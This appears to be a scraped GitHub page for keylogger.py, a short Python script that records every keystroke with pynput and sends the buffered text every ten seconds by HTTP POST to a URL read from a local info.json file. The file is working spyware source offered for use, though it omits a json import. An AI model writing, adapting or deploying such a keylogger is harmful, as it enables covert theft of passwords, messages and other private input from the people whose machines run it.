-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
64 lines (52 loc) · 1.61 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pynput import keyboard
import requests
import threading
text = ""
time_interval = 10 # Change if you want
timer = None
with open("info.json", "r") as file:
data = json.load(file)
url = data["url"]
def send_post_req():
global text, timer
try:
if text.strip():
payload = {"content": text}
response = requests.post(
url,
json=payload,
headers={"Content-Type": "application/json"}
)
if response.status_code != 204:
print(f"Failed to send message: {response.status_code} - {response.text}")
else:
print("Message sent successfully!")
text = ""
except Exception as e:
print(f"Couldn't complete request: {e}")
finally:
timer = threading.Timer(time_interval, send_post_req)
timer.start()
def on_press(key):
global text
try:
if isinstance(key, keyboard.Key):
text += f"[{key.name if hasattr(key, 'name') else key}]"
else:
text += str(key).strip("'")
except Exception as e:
print(f"Error processing key: {e}")
def start_listener():
global timer
try:
timer = threading.Timer(time_interval, send_post_req)
timer.start()
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
except KeyboardInterrupt:
print("Keyboard listener stopped.")
finally:
if timer:
timer.cancel()
if __name__ == "__main__":
start_listener()